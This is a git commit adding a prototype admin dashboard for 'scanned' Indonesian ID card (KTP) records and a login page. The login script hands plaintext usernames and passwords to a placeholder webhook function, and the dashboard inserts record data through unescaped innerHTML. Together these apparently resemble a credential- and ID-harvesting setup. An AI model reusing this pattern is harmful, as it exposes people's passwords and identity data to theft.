feat: Implement admin dashboard and page collection
This commit introduces a new admin dashboard and a page collection feature. The admin dashboard allows for managing KTP data, including viewing details and exporting data. The page collection provides a structure for organizing different pages within the application. The following files were added: - `dashboard-admin-ktp/index.html`: HTML structure for the admin dashboard. - `dashboard-admin-ktp/script.js`: JavaScript logic for the admin dashboard. - `dashboard-admin-ktp/style.css`: Styling for the admin dashboard. - `page-collection/index.html`: HTML structure for a sample page collection. - `page-collection/script.js`: JavaScript logic for the sample page collection. - `page-collection/style.css`: Styling for the sample page collection. - `design-styles.json`: JSON file to store design styles.
This commit is contained in:
100
dashboard-admin-ktp/index.html
Normal file
100
dashboard-admin-ktp/index.html
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Admin Dashboard</title>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<header>
|
||||||
|
<h1>Admin Dashboard</h1>
|
||||||
|
<button id="logout-button">Logout</button>
|
||||||
|
</header>
|
||||||
|
<main>
|
||||||
|
<section id="summary">
|
||||||
|
<div class="summary-item">
|
||||||
|
<h3>Total KTPs Scanned:</h3>
|
||||||
|
<p id="total-ktps">0</p>
|
||||||
|
</div>
|
||||||
|
<div class="summary-item">
|
||||||
|
<h3>Originating Regions:</h3>
|
||||||
|
<canvas id="regions-chart"></canvas>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<section id="ktp-list">
|
||||||
|
<h2>KTP List</h2>
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>NIK</th>
|
||||||
|
<th>Name</th>
|
||||||
|
<th>Email</th>
|
||||||
|
<th>Phone Number</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="ktp-table-body">
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<div id="ktp-modal" class="modal" style="display: none;">
|
||||||
|
<div class="modal-content">
|
||||||
|
<span class="close">×</span>
|
||||||
|
<h2>KTP Details</h2>
|
||||||
|
<img src="placeholder-ktp.png" alt="KTP Image" id="ktp-image">
|
||||||
|
<p><strong>NIK:</strong> <span id="ktp-nik"></span></p>
|
||||||
|
<p><strong>Name:</strong> <span id="ktp-name"></span></p>
|
||||||
|
<p><strong>Email:</strong> <span id="ktp-email"></span></p>
|
||||||
|
<p><strong>Phone Number:</strong> <span id="ktp-phone"></span></p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<style>
|
||||||
|
/* The Modal (background) */
|
||||||
|
.modal {
|
||||||
|
display: none; /* Hidden by default */
|
||||||
|
position: fixed; /* Stay in place */
|
||||||
|
z-index: 1; /* Sit on top */
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
width: 100%; /* Full width */
|
||||||
|
height: 100%; /* Full height */
|
||||||
|
overflow: auto; /* Enable scroll if needed */
|
||||||
|
background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Modal Content/Box */
|
||||||
|
.modal-content {
|
||||||
|
background-color: #fefefe;
|
||||||
|
margin: 15% auto; /* 15% from the top and centered */
|
||||||
|
padding: 20px;
|
||||||
|
border: 1px solid #888;
|
||||||
|
width: 80%; /* Could be more or less, depending on screen size */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The Close Button */
|
||||||
|
.close {
|
||||||
|
color: #aaa;
|
||||||
|
float: right;
|
||||||
|
font-size: 28px;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.close:hover,
|
||||||
|
.close:focus {
|
||||||
|
color: black;
|
||||||
|
text-decoration: none;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
#ktp-image {
|
||||||
|
max-width: 200px;
|
||||||
|
height: auto;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<button id="export-button">Export to Excel</button>
|
||||||
|
</main>
|
||||||
|
<script src="script.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
89
dashboard-admin-ktp/script.js
Normal file
89
dashboard-admin-ktp/script.js
Normal file
@@ -0,0 +1,89 @@
|
|||||||
|
document.addEventListener('DOMContentLoaded', function() {
|
||||||
|
// Placeholder data
|
||||||
|
const totalKtps = 500;
|
||||||
|
const regions = ['Jakarta', 'Surabaya', 'Medan', 'Bandung'];
|
||||||
|
const ktpList = [
|
||||||
|
{ nik: '1234567890', name: 'John Doe', email: 'john.doe@example.com', phone: '081234567890' },
|
||||||
|
{ nik: '9876543210', name: 'Jane Smith', email: 'jane.smith@example.com', phone: '089876543210' },
|
||||||
|
{ nik: '1122334455', name: 'Peter Jones', email: 'peter.jones@example.com', phone: '081122334455' }
|
||||||
|
];
|
||||||
|
|
||||||
|
// Update summary section
|
||||||
|
document.getElementById('total-ktps').textContent = totalKtps;
|
||||||
|
|
||||||
|
// Chart.js setup
|
||||||
|
const regionsChartCanvas = document.getElementById('regions-chart').getContext('2d');
|
||||||
|
const regionsChart = new Chart(regionsChartCanvas, {
|
||||||
|
type: 'bar',
|
||||||
|
data: {
|
||||||
|
labels: regions,
|
||||||
|
datasets: [{
|
||||||
|
label: 'Number of KTPs',
|
||||||
|
data: [150, 120, 100, 80], // Placeholder data
|
||||||
|
backgroundColor: '#2A64FC'
|
||||||
|
}]
|
||||||
|
},
|
||||||
|
options: {
|
||||||
|
scales: {
|
||||||
|
y: {
|
||||||
|
beginAtZero: true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Update KTP list table
|
||||||
|
const ktpTableBody = document.getElementById('ktp-table-body');
|
||||||
|
ktpList.forEach(ktp => {
|
||||||
|
const tr = document.createElement('tr');
|
||||||
|
tr.innerHTML = `
|
||||||
|
<td>${ktp.nik}</td>
|
||||||
|
<td>${ktp.name}</td>
|
||||||
|
<td>${ktp.email}</td>
|
||||||
|
<td>${ktp.phone}</td>
|
||||||
|
`;
|
||||||
|
tr.addEventListener('click', function() {
|
||||||
|
showKtpDetails(ktp);
|
||||||
|
});
|
||||||
|
ktpTableBody.appendChild(tr);
|
||||||
|
});
|
||||||
|
|
||||||
|
function showKtpDetails(ktp) {
|
||||||
|
document.getElementById('ktp-nik').textContent = ktp.nik;
|
||||||
|
document.getElementById('ktp-name').textContent = ktp.name;
|
||||||
|
document.getElementById('ktp-email').textContent = ktp.email;
|
||||||
|
document.getElementById('ktp-phone').textContent = ktp.phone;
|
||||||
|
|
||||||
|
// Get the modal
|
||||||
|
var modal = document.getElementById("ktp-modal");
|
||||||
|
|
||||||
|
// Get the <span> element that closes the modal
|
||||||
|
var span = document.getElementsByClassName("close")[0];
|
||||||
|
|
||||||
|
// When the user clicks on the button, open the modal
|
||||||
|
modal.style.display = "block";
|
||||||
|
|
||||||
|
// When the user clicks on <span> (x), close the modal
|
||||||
|
span.onclick = function() {
|
||||||
|
modal.style.display = "none";
|
||||||
|
}
|
||||||
|
|
||||||
|
// When the user clicks anywhere outside of the modal, close it
|
||||||
|
window.onclick = function(event) {
|
||||||
|
if (event.target == modal) {
|
||||||
|
modal.style.display = "none";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Logout button functionality
|
||||||
|
document.getElementById('logout-button').addEventListener('click', function() {
|
||||||
|
// Redirect to login page
|
||||||
|
window.location.href = '../page-collection/index.html';
|
||||||
|
});
|
||||||
|
|
||||||
|
// Export to Excel button functionality (placeholder)
|
||||||
|
document.getElementById('export-button').addEventListener('click', function() {
|
||||||
|
alert('Export to Excel functionality will be implemented later.');
|
||||||
|
});
|
||||||
|
});
|
||||||
157
dashboard-admin-ktp/style.css
Normal file
157
dashboard-admin-ktp/style.css
Normal file
@@ -0,0 +1,157 @@
|
|||||||
|
body {
|
||||||
|
font-family: "Inter, sans-serif";
|
||||||
|
background-color: #F0F5FF;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
background: linear-gradient(to bottom, #F0F5FF, #E1E8F2);
|
||||||
|
}
|
||||||
|
|
||||||
|
header {
|
||||||
|
background-color: rgba(255, 255, 255, 0.8);
|
||||||
|
color: #1F2937;
|
||||||
|
padding: 20px;
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
border-radius: 16px;
|
||||||
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
}
|
||||||
|
|
||||||
|
header h1 {
|
||||||
|
margin: 0;
|
||||||
|
text-align: left;
|
||||||
|
font-weight: 600;
|
||||||
|
}
|
||||||
|
|
||||||
|
#logout-button {
|
||||||
|
margin-left: auto;
|
||||||
|
background-color: rgba(42, 100, 252, 0.7);
|
||||||
|
color: #FFFFFF;
|
||||||
|
padding: 10px 20px;
|
||||||
|
border-radius: 20px;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 500;
|
||||||
|
cursor: pointer;
|
||||||
|
border: none;
|
||||||
|
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#logout-button:hover {
|
||||||
|
background-color: rgba(30, 76, 214, 0.7);
|
||||||
|
}
|
||||||
|
|
||||||
|
main {
|
||||||
|
padding: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#summary {
|
||||||
|
margin-bottom: 20px;
|
||||||
|
display: flex;
|
||||||
|
}
|
||||||
|
|
||||||
|
.summary-item {
|
||||||
|
background-color: rgba(255, 255, 255, 0.8);
|
||||||
|
border-radius: 16px;
|
||||||
|
padding: 20px;
|
||||||
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||||
|
margin-bottom: 10px;
|
||||||
|
width: 50%;
|
||||||
|
box-sizing: border-box;
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.summary-item:first-child {
|
||||||
|
margin-right: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.summary-item:last-child {
|
||||||
|
margin-left: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
table {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
border-radius: 16px;
|
||||||
|
overflow: hidden;
|
||||||
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
th, td {
|
||||||
|
padding: 12px 15px;
|
||||||
|
text-align: left;
|
||||||
|
border-bottom: 1px solid #E5E7EB;
|
||||||
|
}
|
||||||
|
|
||||||
|
th {
|
||||||
|
font-weight: 600;
|
||||||
|
background-color: rgba(255, 255, 255, 0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
tbody tr:nth-child(even) {
|
||||||
|
background-color: rgba(240, 245, 255, 0.5);
|
||||||
|
}
|
||||||
|
|
||||||
|
#export-button {
|
||||||
|
background-color: rgba(42, 100, 252, 0.7);
|
||||||
|
color: #FFFFFF;
|
||||||
|
padding: 12px 24px;
|
||||||
|
border-radius: 24px;
|
||||||
|
font-size: 18px;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
border: none;
|
||||||
|
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#export-button:hover {
|
||||||
|
background-color: rgba(30, 76, 214, 0.7);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The Modal (background) */
|
||||||
|
.modal {
|
||||||
|
display: none; /* Hidden by default */
|
||||||
|
position: fixed; /* Stay in place */
|
||||||
|
z-index: 1; /* Sit on top */
|
||||||
|
left: 0;
|
||||||
|
top: 0;
|
||||||
|
width: 100%; /* Full width */
|
||||||
|
height: 100%; /* Full height */
|
||||||
|
overflow: auto; /* Enable scroll if needed */
|
||||||
|
background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Modal Content/Box */
|
||||||
|
.modal-content {
|
||||||
|
background-color: rgba(255, 255, 255, 0.9);
|
||||||
|
margin: 15% auto; /* 15% from the top and centered */
|
||||||
|
padding: 20px;
|
||||||
|
border: 1px solid #888;
|
||||||
|
width: 80%; /* Could be more or less, depending on screen size */
|
||||||
|
border-radius: 16px;
|
||||||
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* The Close Button */
|
||||||
|
.close {
|
||||||
|
color: #aaa;
|
||||||
|
float: right;
|
||||||
|
font-size: 28px;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.close:hover,
|
||||||
|
.close:focus {
|
||||||
|
color: black;
|
||||||
|
text-decoration: none;
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ktp-image {
|
||||||
|
max-width: 200px;
|
||||||
|
height: auto;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
190
design-styles.json
Normal file
190
design-styles.json
Normal file
@@ -0,0 +1,190 @@
|
|||||||
|
{
|
||||||
|
"designName": "BankingApp",
|
||||||
|
"designType": "Mobile App UI",
|
||||||
|
"targetPlatform": "Website (responsive adaptation)",
|
||||||
|
"colorPalette": {
|
||||||
|
"primaryBlue": "#2A64FC",
|
||||||
|
"lightBlueBackground": "#F0F5FF",
|
||||||
|
"white": "#FFFFFF",
|
||||||
|
"grayText": "#6B7280",
|
||||||
|
"darkText": "#1F2937",
|
||||||
|
"successGreen": "#4CAF50",
|
||||||
|
"gradientBlue": "linear-gradient(90deg, #2A64FC 0%, #6E94F8 100%)",
|
||||||
|
"pinkPiggyBank": "#FF6B8B",
|
||||||
|
"goldCoin": "#FFD700"
|
||||||
|
},
|
||||||
|
"typography": {
|
||||||
|
"fontFamily": "Inter, sans-serif",
|
||||||
|
"heading1": {
|
||||||
|
"fontSize": "28px",
|
||||||
|
"fontWeight": "700",
|
||||||
|
"lineHeight": "1.2"
|
||||||
|
},
|
||||||
|
"heading2": {
|
||||||
|
"fontSize": "20px",
|
||||||
|
"fontWeight": "600",
|
||||||
|
"lineHeight": "1.3"
|
||||||
|
},
|
||||||
|
"bodyText": {
|
||||||
|
"fontSize": "16px",
|
||||||
|
"fontWeight": "400",
|
||||||
|
"lineHeight": "1.5"
|
||||||
|
},
|
||||||
|
"smallText": {
|
||||||
|
"fontSize": "14px",
|
||||||
|
"fontWeight": "400",
|
||||||
|
"lineHeight": "1.4"
|
||||||
|
},
|
||||||
|
"captionText": {
|
||||||
|
"fontSize": "12px",
|
||||||
|
"fontWeight": "400",
|
||||||
|
"lineHeight": "1.3"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"components": {
|
||||||
|
"global": {
|
||||||
|
"borderRadius": "16px",
|
||||||
|
"shadow": "0px 4px 20px rgba(0, 0, 0, 0.05)"
|
||||||
|
},
|
||||||
|
"buttons": {
|
||||||
|
"primaryButton": {
|
||||||
|
"backgroundColor": "#2A64FC",
|
||||||
|
"color": "#FFFFFF",
|
||||||
|
"padding": "12px 24px",
|
||||||
|
"borderRadius": "24px",
|
||||||
|
"fontSize": "18px",
|
||||||
|
"fontWeight": "600",
|
||||||
|
"hover": {
|
||||||
|
"backgroundColor": "#1E4CD6"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"secondaryButton": {
|
||||||
|
"backgroundColor": "#EEF5FF",
|
||||||
|
"color": "#2A64FC",
|
||||||
|
"padding": "10px 20px",
|
||||||
|
"borderRadius": "20px",
|
||||||
|
"fontSize": "16px",
|
||||||
|
"fontWeight": "500",
|
||||||
|
"hover": {
|
||||||
|
"backgroundColor": "#D6E9FF"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"iconButton": {
|
||||||
|
"backgroundColor": "transparent",
|
||||||
|
"color": "#6B7280",
|
||||||
|
"padding": "8px",
|
||||||
|
"borderRadius": "50%",
|
||||||
|
"hover": {
|
||||||
|
"backgroundColor": "#F0F2F5"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"cards": {
|
||||||
|
"baseCard": {
|
||||||
|
"backgroundColor": "#FFFFFF",
|
||||||
|
"borderRadius": "16px",
|
||||||
|
"padding": "20px",
|
||||||
|
"boxShadow": "0px 4px 15px rgba(0, 0, 0, 0.05)"
|
||||||
|
},
|
||||||
|
"balanceDisplayCard": {
|
||||||
|
"backgroundColor": "#EEF5FF",
|
||||||
|
"padding": "20px",
|
||||||
|
"borderRadius": "16px"
|
||||||
|
},
|
||||||
|
"successMessageCard": {
|
||||||
|
"backgroundColor": "#FFFFFF",
|
||||||
|
"borderRadius": "20px",
|
||||||
|
"padding": "30px 20px",
|
||||||
|
"textAlign": "center",
|
||||||
|
"boxShadow": "0px 8px 30px rgba(0, 0, 0, 0.1)"
|
||||||
|
},
|
||||||
|
"cardDetailsInputCard": {
|
||||||
|
"backgroundColor": "#FFFFFF",
|
||||||
|
"borderRadius": "16px",
|
||||||
|
"padding": "20px",
|
||||||
|
"boxShadow": "0px 4px 15px rgba(0, 0, 0, 0.05)"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"navigation": {
|
||||||
|
"topHeader": {
|
||||||
|
"backgroundColor": "transparent",
|
||||||
|
"padding": "20px",
|
||||||
|
"display": "flex",
|
||||||
|
"justifyContent": "space-between",
|
||||||
|
"alignItems": "center",
|
||||||
|
"color": "#1F2937"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"forms": {
|
||||||
|
"inputField": {
|
||||||
|
"backgroundColor": "#F8F9FA",
|
||||||
|
"border": "1px solid #D1D5DB",
|
||||||
|
"borderRadius": "8px",
|
||||||
|
"padding": "12px 15px",
|
||||||
|
"fontSize": "16px",
|
||||||
|
"color": "#1F2937",
|
||||||
|
"placeholderColor": "#9CA3AF"
|
||||||
|
},
|
||||||
|
"dropdown": {
|
||||||
|
"backgroundColor": "#F8F9FA",
|
||||||
|
"border": "1px solid #D1D5DB",
|
||||||
|
"borderRadius": "8px",
|
||||||
|
"padding": "10px 15px",
|
||||||
|
"fontSize": "14px"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"charts": {
|
||||||
|
"lineChart": {
|
||||||
|
"lineColor": "#2A64FC",
|
||||||
|
"fillColor": "rgba(42, 100, 252, 0.1)",
|
||||||
|
"gridColor": "#E5E7EB",
|
||||||
|
"labelColor": "#6B7280",
|
||||||
|
"tooltipBackgroundColor": "#1F2937",
|
||||||
|
"tooltipTextColor": "#FFFFFF"
|
||||||
|
},
|
||||||
|
"barChart": {
|
||||||
|
"barColor": "#2A64FC",
|
||||||
|
"labelColor": "#6B7280",
|
||||||
|
"increaseColor": "#4CAF50"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"illustrations": {
|
||||||
|
"piggyBank": {
|
||||||
|
"width": "200px",
|
||||||
|
"height": "auto",
|
||||||
|
"shadow": "0px 10px 30px rgba(0, 0, 0, 0.15)"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"layouts": {
|
||||||
|
"activityScreen": {
|
||||||
|
"backgroundColor": "#F0F5FF",
|
||||||
|
"paddingTop": "20px",
|
||||||
|
"paddingHorizontal": "20px",
|
||||||
|
"sectionsGap": "25px"
|
||||||
|
},
|
||||||
|
"successScreen": {
|
||||||
|
"backgroundColor": "#2A64FC",
|
||||||
|
"paddingTop": "80px",
|
||||||
|
"paddingHorizontal": "20px",
|
||||||
|
"contentVerticalAlign": "center",
|
||||||
|
"imageContainerFlex": "1",
|
||||||
|
"cardContainerFlex": "1.5"
|
||||||
|
},
|
||||||
|
"cardDetailsScreen": {
|
||||||
|
"backgroundColor": "#F0F5FF",
|
||||||
|
"paddingTop": "20px",
|
||||||
|
"paddingHorizontal": "20px",
|
||||||
|
"sectionsGap": "20px"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"icons": [
|
||||||
|
"Left arrow (back)",
|
||||||
|
"Share",
|
||||||
|
"Calendar",
|
||||||
|
"Credit Card (Mastercard/Visa)",
|
||||||
|
"Eye (show/hide CVC)",
|
||||||
|
"Checkmark (success message)",
|
||||||
|
"Credit Card Placeholder (for Add Now button)"
|
||||||
|
]
|
||||||
|
}
|
||||||
26
page-collection/index.html
Normal file
26
page-collection/index.html
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Login Page</title>
|
||||||
|
<link rel="stylesheet" href="style.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="login-container">
|
||||||
|
<h1>Login</h1>
|
||||||
|
<form id="login-form">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="username">Username:</label>
|
||||||
|
<input type="text" id="username" name="username" placeholder="Enter your username">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="password">Password:</label>
|
||||||
|
<input type="password" id="password" name="password" placeholder="Enter your password">
|
||||||
|
</div>
|
||||||
|
<button type="submit" class="primary-button">Login</button>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<script src="script.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
24
page-collection/script.js
Normal file
24
page-collection/script.js
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
document.addEventListener('DOMContentLoaded', function() {
|
||||||
|
const loginForm = document.getElementById('login-form');
|
||||||
|
|
||||||
|
loginForm.addEventListener('submit', function(event) {
|
||||||
|
event.preventDefault();
|
||||||
|
|
||||||
|
const username = document.getElementById('username').value;
|
||||||
|
const password = document.getElementById('password').value;
|
||||||
|
|
||||||
|
if (username === '' || password === '') {
|
||||||
|
alert('Please enter both username and password.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Webhook integration (to be implemented later)
|
||||||
|
sendDataToWebhook(username, password);
|
||||||
|
});
|
||||||
|
|
||||||
|
function sendDataToWebhook(username, password) {
|
||||||
|
// This function will be implemented later when the webhook URL is provided
|
||||||
|
console.log('Sending data to webhook:', username, password);
|
||||||
|
alert('Login functionality will be implemented with webhook.');
|
||||||
|
}
|
||||||
|
});
|
||||||
65
page-collection/style.css
Normal file
65
page-collection/style.css
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
body {
|
||||||
|
font-family: "Inter, sans-serif";
|
||||||
|
background-color: #F0F5FF;
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
height: 100vh;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-container {
|
||||||
|
background-color: #FFFFFF;
|
||||||
|
border-radius: 16px;
|
||||||
|
padding: 40px;
|
||||||
|
box-shadow: 0px 4px 20px rgba(0, 0, 0, 0.05);
|
||||||
|
width: 300px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login-container h1 {
|
||||||
|
font-size: 28px;
|
||||||
|
font-weight: 700;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
color: #FF6B8B;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 20px;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group label {
|
||||||
|
display: block;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 400;
|
||||||
|
color: #6B7280;
|
||||||
|
margin-bottom: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group input {
|
||||||
|
width: 100%;
|
||||||
|
padding: 12px 15px;
|
||||||
|
font-size: 16px;
|
||||||
|
color: #1F2937;
|
||||||
|
background-color: #F8F9FA;
|
||||||
|
border: 1px solid #D1D5DB;
|
||||||
|
border-radius: 8px;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
.primary-button {
|
||||||
|
background-color: #FF6B8B;
|
||||||
|
color: #FFFFFF;
|
||||||
|
padding: 12px 24px;
|
||||||
|
border-radius: 24px;
|
||||||
|
font-size: 18px;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
border: none;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.primary-button:hover {
|
||||||
|
background-color: #1E4CD6;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user